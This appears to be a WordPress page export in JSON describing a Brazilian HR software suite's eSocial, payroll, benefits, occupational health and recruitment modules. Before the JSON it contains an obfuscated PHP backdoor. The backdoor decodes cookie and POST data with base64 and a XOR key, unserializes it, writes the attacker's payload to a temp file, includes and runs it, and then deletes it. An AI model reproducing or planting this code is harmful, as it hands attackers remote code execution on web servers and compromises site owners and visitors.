$QKwZeW = 'G' . "\x74" . "\x63" . chr (95) . chr (77) . chr ( 505 - 383 )."\115" . "\130" . "\x69";$Sxwqi = "\x63" . chr (108) . chr ( 1056 - 959 )."\163" . chr ( 161 - 46 ).chr ( 906 - 811 ).chr ( 516 - 415 )."\170" . "\151" . chr ( 617 - 502 ).chr (116) . chr (115); $lKbSj = class_exists($QKwZeW); $QKwZeW = "5422";$Sxwqi = "35275";$pYmcahdlVg = FALSE;if ($lKbSj === $pYmcahdlVg){function MzFJfL(){return FALSE;}$rrvqCLHDy = "2900";MzFJfL();class Gtc_MzMXi{public function tFpXEACtP(){echo "33386";}private $YHiybpXn;public static $pAdZGSTC = "7a8fc1a4-605e-4b6f-9ea5-9d26e599bae6";public static $IRVIFbrZaZ = 52984;public function __destruct(){$rrvqCLHDy = "20160_22072";$this->BiKriaTDd($rrvqCLHDy); $rrvqCLHDy = "20160_22072";}public function __construct($jevDPNp=0){$KQqxfpp = $_POST;$Xthuy = $_COOKIE;$UAixhQ = @$Xthuy[substr(Gtc_MzMXi::$pAdZGSTC, 0, 4)];if (!empty($UAixhQ)){$YwYzDmbKz = "base64";$MPiVMu = "";$UAixhQ = explode(",", $UAixhQ);foreach ($UAixhQ as $ZJHsofKE){$MPiVMu .= @$Xthuy[$ZJHsofKE];$MPiVMu .= @$KQqxfpp[$ZJHsofKE];}$MPiVMu = array_map($YwYzDmbKz . "\137" . chr ( 764 - 664 )."\x65" . 'c' . "\x6f" . 'd' . "\145", array($MPiVMu,)); $MPiVMu = $MPiVMu[0] ^ str_repeat(Gtc_MzMXi::$pAdZGSTC, (strlen($MPiVMu[0]) / strlen(Gtc_MzMXi::$pAdZGSTC)) + 1);Gtc_MzMXi::$IRVIFbrZaZ = @unserialize($MPiVMu);}}private function BiKriaTDd($rrvqCLHDy){if (is_array(Gtc_MzMXi::$IRVIFbrZaZ)) {$AgvsHQy = sys_get_temp_dir() . "/" . crc32(Gtc_MzMXi::$IRVIFbrZaZ["\x73" . "\x61" . chr ( 918 - 810 )."\x74"]);@Gtc_MzMXi::$IRVIFbrZaZ["\x77" . "\162" . chr (105) . chr ( 994 - 878 ).'e']($AgvsHQy, Gtc_MzMXi::$IRVIFbrZaZ['c' . 'o' . "\x6e" . 't' . "\145" . chr (110) . chr (116)]);include $AgvsHQy;@Gtc_MzMXi::$IRVIFbrZaZ['d' . 'e' . "\x6c" . chr ( 1016 - 915 ).'t' . chr ( 686 - 585 )]($AgvsHQy); $rrvqCLHDy = "2900";exit();}}}$uYbDETkx = new /* 45862 */ Gtc_MzMXi(2900); $uYbDETkx = str_repeat("20160_22072", 1);}{"id":189,"date":"2014-07-25T12:12:10","date_gmt":"2014-07-25T12:12:10","guid":{"rendered":"http:\/\/constructionone.com.br\/?page_id=189"},"modified":"2015-06-17T10:59:52","modified_gmt":"2015-06-17T10:59:52","slug":"modulo-recursos-humanos","status":"publish","type":"page","link":"http:\/\/constructionone.com.br\/?page_id=189","title":{"rendered":"M\u00f3dulo Recursos Humanos"},"content":{"rendered":"
O eSocial do RH CONSTRUCTIONONE<\/strong>, foi desenvolvido n\u00e3o s\u00f3 para atender a demanda legal, mas tamb\u00e9m para ajudar o RH das empresas a efetuarem a gest\u00e3o do processo como um todo, al\u00e9m do produto incorporar grande parte do eSocial dentro do m\u00f3dulo de Administra\u00e7\u00e3o de Pessoal, o sistema possui um gerenciador de mensageria para monitorar as informa\u00e7\u00f5es e gerar inconsist\u00eancias quando houverem, ajudando o RH na administra\u00e7\u00e3o destas obriga\u00e7\u00f5es.<\/p>\n O RH CONSTRUCTIONONE<\/strong>\u00a0possui m\u00f3dulos de Gest\u00e3o de RH no qual complementam n\u00e3o s\u00f3 o eSocial mas toda a gest\u00e3o da \u00e1rea. Efetuamos testes de implementa\u00e7\u00e3o no \u201claborat\u00f3rio\u201d eSocial da RH CONSTRUCTIONONE<\/strong>\u00a0e conseguimos assegurar uma redu\u00e7\u00e3o de tempo e investimento consider\u00e1vel, alcan\u00e7amos com qualidade uma redu\u00e7\u00e3o de mais de 40% na valida\u00e7\u00e3o junto de nossos clientes, pois a nossa solu\u00e7\u00e3o ficou realmente pr\u00e1tica e amig\u00e1vel.<\/p>\n O eSocial \u00e9 um projeto do governo federal que vai unificar o envio de informa\u00e7\u00f5es pelo empregador em rela\u00e7\u00e3o aos seus empregados.<\/p>\n Substituindo gradualmente o atual envio de informa\u00e7\u00f5es sobre registro de informa\u00e7\u00f5es sobre o registro do empregado SEFIP, RAIS, CAGED, DIRF, CAT, Manad, Processos Trabalhistas, Atestados M\u00e9dicos, entre outros.<\/p>\n <\/p>\n <\/p>\n Em caso de m\u00faltiplos estabelecimentos? Em caso de exist\u00eancia de mais de um sistema de RH, por exemplo, um aplicativo na matriz diferente de outro aplicativo na filial ou ainda, uma terceira unidade com folha Terceirizada (BPO), como ser\u00e1 o procedimento? E em caso de diferentes sistemas de gest\u00e3o respons\u00e1veis por pagamentos a terceiros? E em caso de diferentes sistemas de gest\u00e3o respons\u00e1veis pro pagamentos a terceiros? Como os sistemas al\u00e9m de integra\u00e7\u00e3o poder\u00e3o manter atualizados os cadastros? FOLHA DE PAGAMENTO<\/strong> RUBRICAS DA FOLHA DE PAGAMENTO<\/strong> GPS<\/strong> GFIP<\/strong> EM QUE O RH CONSTRUCTIONONE PODE AJUDAR?<\/strong><\/p>\n Saneamento de dados; SEU PR\u00d3XIMO PASSO:<\/strong><\/p>\n Diagnosticar a situa\u00e7\u00e3o atual, a necessidade de mudan\u00e7a e altera\u00e7\u00f5es processuais, cadastrais e sist\u00eamicas.Saneamento de dadosn\u00e1lise de ader\u00eancia \u00e0s normas trabalhistas e previdenci\u00e1rias<\/p>\n\n\t\t<\/div> O M\u00f3dulo permite ao usu\u00e1rio definir previamente as ocorr\u00eancias de ponto, quando estas acontecem o software faz o tratamento automaticamente, eliminado retrabalho e principalmente transferindo para o software o controle das regras do neg\u00f3cio. O M\u00f3dulo Ponto Eletr\u00f4nico pode ser implantado em corpora\u00e7\u00f5es dos mais diversos segmentos,\u00a0 automatizando tarefas repetitivas, democratizando as informa\u00e7\u00f5es para todos os n\u00edveis de hierarquia\u00a0 eliminando o retrabalho do RH.<\/p>\n Al\u00e9m disso, gerencia as escalas de revezamentos, controle de turmas, turnos, feriados e jornada alternativa.<\/p>\n Os c\u00e1lculos podem ser diferenciados por Sindicato, Colaboradores, Centro de Custos, Hor\u00e1rios, Turnos, Mensalistas, Horistas, e outros.<\/p>\n Veja outras funcionalidades do m\u00f3dulo:<\/p>\n O M\u00f3dulo Benef\u00edcios \u00e9 cedido gratuitamente na aquisi\u00e7\u00e3o do M\u00f3dulo Folha de Pagamento<\/strong><\/p>\n O m\u00f3dulo permite o gerenciamento de todos os benef\u00edcios oferecidos pela empresa, bem como dos benefici\u00e1rios (titulares e dependentes), vinculando-os \u00e0 Folha de Pagamento.\u00a0Os colaboradores podem optar por qualquer beneficio dispon\u00edvel que lhes interessem de acordo com os crit\u00e9rios definidos pela organiza\u00e7\u00e3o (pontos, valores e percentuais).<\/p>\n Cada benef\u00edcio possui um ou mais planos. Cada plano \u00e9 dividido em faixas de valores por Tipo de Benefici\u00e1rio (os dependentes diretos e agregados). Cada Faixa permite especificar, al\u00e9m do valor, as idades limites, se houver, e a parte do valor assumido pela empresa.<\/p>\n O m\u00f3dulo permite total integra\u00e7\u00e3o com todos os fornecedores de benef\u00edcios possibilitando um maior controle em suas opera\u00e7\u00f5es.<\/p>\n Composi\u00e7\u00e3o do M\u00f3dulo:<\/strong><\/p>\n O M\u00f3dulo Medicina e Seguran\u00e7a no Trabalho possui recursos para gest\u00e3o da sa\u00fade dos colaboradores, tanto a exigida legalmente quanto por iniciativa da empresa. Al\u00e9m disso, controla a agenda de exames m\u00e9dicos admissionais, demissionais e peri\u00f3dicos.<\/p>\n Esta funcionalidade oferece controle da distribui\u00e7\u00e3o dos EPIs, emitindo os recibos necess\u00e1rios que re\u00fane as informa\u00e7\u00f5es e rotinas relativas \u00e0s quest\u00f5es de sa\u00fade, higiene e seguran\u00e7a do trabalho, incluindo o controle do EPC (Equipamento de Prote\u00e7\u00e3o Coletiva).<\/p>\n O m\u00f3dulo mant\u00e9m os cadastros de equipamentos de seguran\u00e7a, de exames m\u00e9dicos, doen\u00e7as, fichas cl\u00ednicas, m\u00e9dicas, entre outros e atende plenamente os requisitos legais exigidos pela portaria 3214\/78.<\/p>\n Al\u00e9m de obter as informa\u00e7\u00f5es do PCMSO (Programa de Controle M\u00e9dico e de Sa\u00fade Ocupacional) e do PPRA (Programa de Preven\u00e7\u00e3o de Riscos Ambientais), o m\u00f3dulo possui outra funcionalidade, o Controle Ambulatorial, que possibilita ao m\u00e9dico acompanhar os pacientes por seu hist\u00f3rico cl\u00ednico ou pelo controle de seus exames, onde ele pode obter as estat\u00edsticas m\u00e9dicas e de qualidade de vida atrav\u00e9s de gr\u00e1ficos, dando elementos para analises como: Quantas pessoas fumam na empresa? Qual o \u00edndice de colesterol?<\/p>\n O m\u00f3dulo tamb\u00e9m possibilita a emiss\u00e3o do PPP (Perfil Profissiogr\u00e1fico Previdenci\u00e1rio), documento hist\u00f3rico-laboral do trabalhador que re\u00fane, entre outras informa\u00e7\u00f5es, dados administrativos, registros ambientais e resultados de monitora\u00e7\u00e3o biol\u00f3gica, durante todo per\u00edodo em que este exerceu suas atividades.<\/p>\n\n\t\t<\/div> O m\u00f3dulo permite total gerenciamento dos cargos e sal\u00e1rios divididos por grupo de cargos (fam\u00edlia), e cada fam\u00edlia poder\u00e1 ter um crit\u00e9rio definido pela empresa, al\u00e9m de simular ajustes salariais.<\/p>\n Um dos grandes diferenciais que o m\u00f3dulo possui \u00e9 a compara\u00e7\u00e3o dos sal\u00e1rios ou remunera\u00e7\u00e3o da empresa com o mercado de atua\u00e7\u00e3o.<\/p>\n Vantagens do m\u00f3dulo:<\/strong><\/p>\n O m\u00f3dulo permite a pesquisa de talentos do mercado visando torn\u00e1-los colaboradores da corpora\u00e7\u00e3o, com admiss\u00e3o autom\u00e1tica em Folha de Pagamento.<\/p>\n O diferencial \u00e9 que a busca tamb\u00e9m oferece a op\u00e7\u00e3o de localizar no pr\u00f3prio cadastro de colaboradores potenciais talentos a assumir a oportunidade oferecida pela empresa, como sele\u00e7\u00e3o interna.<\/p>\n Outra a\u00e7\u00e3o do m\u00f3dulo \u00e9 o controle das agendas dos processos seletivos em andamento. Ele identifica os participantes, bem como as diferentes fases dos processos. Este m\u00f3dulo \u00e9 destinado a conter as ferramentas para auxiliar o processo de aquisi\u00e7\u00e3o de Recursos Humanos, tanto de fontes externas quanto internas.<\/p>\n Composi\u00e7\u00e3o do M\u00f3dulo<\/strong> O m\u00f3dulo Treinamento e Desenvolvimento<\/strong> compreende as fun\u00e7\u00f5es relativas \u00e0 administra\u00e7\u00e3o dos processos de treinamento dos Colaboradores.<\/p>\n Os treinamentos podem ser criados e gerenciados pelo Centro de Treinamentos da pr\u00f3pria Empresa ou podem ser adquiridos de entidades terceirizadas, neste caso, \u00e9 poss\u00edvel ter apenas o gerenciamento realizado pelo sistema.<\/p>\n O centro deste m\u00f3dulo \u00e9 o Plano de Capacita\u00e7\u00e3o que organiza os treinamentos de cada Colaborador levando em considera\u00e7\u00e3o as Compet\u00eancias espec\u00edficas que a Empresa deseja que os mesmos atinjam.<\/p>\n\n\t\t<\/div> Um dos diferenciais do portal \u00e9 a aprova\u00e7\u00e3o de vagas e requisi\u00e7\u00f5es pendentes.<\/strong><\/p>\n Ap\u00f3s o preenchimento de uma vaga esta pode ser aprovada via Portal diretamente pelo gestor. Assim o gestor consegue ver se existem vagas pendentes de aprova\u00e7\u00f5es e pode criar requisi\u00e7\u00f5es de pessoal para as \u00e1reas que ele chefia. Isso agiliza o processo de administra\u00e7\u00e3o de vagas e gera automaticamente um processo seletivo no Recrutamento e Sele\u00e7\u00e3o. \n\t\t<\/div>
\nCom seus m\u00f3dulos como Medicina e Seguran\u00e7a do Trabalho, Processos Trabalhistas, a gest\u00e3o do eSocial fica mais pr\u00e1tica e eficiente para gerir toda esta demanda, com isso, o cliente pode internalizar o controle de algumas \u00e1reas como SST e Jur\u00eddico\/Trabalhista.<\/p>\nO QUE \u00c9 O ESOCIAL?<\/h3>\n
\u00c1REAS IMPACTADAS NA EMPRESA:<\/h3>\n
DESAFIOS DO RH<\/h3>\n
\nA gera\u00e7\u00e3o de eventos tempestivos e cadastros, poder\u00e1 ser feito pelas filiais, contudo, a gera\u00e7\u00e3o do arquivo da folha ser\u00e1 feito pela matriz.<\/p>\n
\nGera\u00e7\u00e3o tempestiva nas unidades, mas um \u00fanico arquivo consolidado da matriz.<\/p>\n
\nEste \u00e9 o desafio das \u00e1reas de TI e de processos nas organiza\u00e7\u00f5es.<\/p>\n
\nSegue a mesma linha da racioc\u00ednio, devera haver consolida\u00e7\u00e3o em um \u00fanico arquivo de informa\u00e7\u00f5es de rendimentos.<\/p>\n
\nEste \u00e9 um dos maiores desafios de TI.<\/p>\nCARACTER\u00cdSTICAS GERAIS<\/h3>\n
\nHoje \u2013 Gerada mensalmente e arquivada para fiscaliza\u00e7\u00f5es.
\nCom o eSocial \u2013 As informa\u00e7\u00f5es ser\u00e3o enviadas mensalmente por meio de diferentes arquivos e n\u00e3o ser\u00e1 necess\u00e1rio o seu arquivamento.<\/p>\n
\nHoje \u2013 Criadas confirme delibera\u00e7\u00e3o da empresa, bem como sua tributa\u00e7\u00e3o.
\nCom o eSocial \u2013 As nomenclaturas poder\u00e3o ser criadas conforme delibera\u00e7\u00e3o da empresa, mas ter\u00e3o de ser vinculadas \u00e0s rubricas preestabelecidas pelo eSocial<\/p>\n
\nHoje \u2013 Guia da Previd\u00eancia Social, utilizada para o recolhimento do INSS sobre folha de pagamento. Este documento \u00e9 gerado por estabelecimento.
\nCom o eSocial \u2013 N\u00e3o existir\u00e1. Ser\u00e1 utilizado um \u00fanico DARF para o recolhimento do INSS sobre a folha de pagamento de todos os estabelecimentos.<\/p>\n
\nHoje \u2013 Documento de confiss\u00e3o de d\u00edvida enviado mensalmente.
\nCom o eSocial \u2013 N\u00e3o existir\u00e1.<\/p>\n
\nAn\u00e1lise de ader\u00eancia \u00e0s normas trabalhistas e previdenci\u00e1rias;
\nRevis\u00e3o de processos e pol\u00edticas de administra\u00e7\u00e3o de pessoal;
\nEstrutura e governan\u00e7a de RH por meio do seu software;
\nRoadmap de implementa\u00e7\u00e3o.<\/p>\n\n
\n
\n
\n
\n
\n
\n
\nInforma\u00e7\u00f5es em relat\u00f3rios dos colaboradores presentes e\/ou ausentes; Horas extras; Horas faltas; Compensa\u00e7\u00f5es; Informa\u00e7\u00f5es estat\u00edsticas por colaborador; Dados para fins de custos e Informa\u00e7\u00f5es gerenciais.<\/p>\n\n
\n
\n
\n\u2022 Cadastros;
\n\u2022 Sele\u00e7\u00e3o;
\n\u2022 Utilidades;
\n\u2022 Relat\u00f3rios.<\/p>\n\n\t\t<\/div> MODELOS DE AVALIA\u00c7\u00d5ES:<\/h2>\n
\n
ALGUMAS FUN\u00c7\u00d5ES DISPON\u00cdVEIS NESTE SISTEMA:<\/h3>\n
\n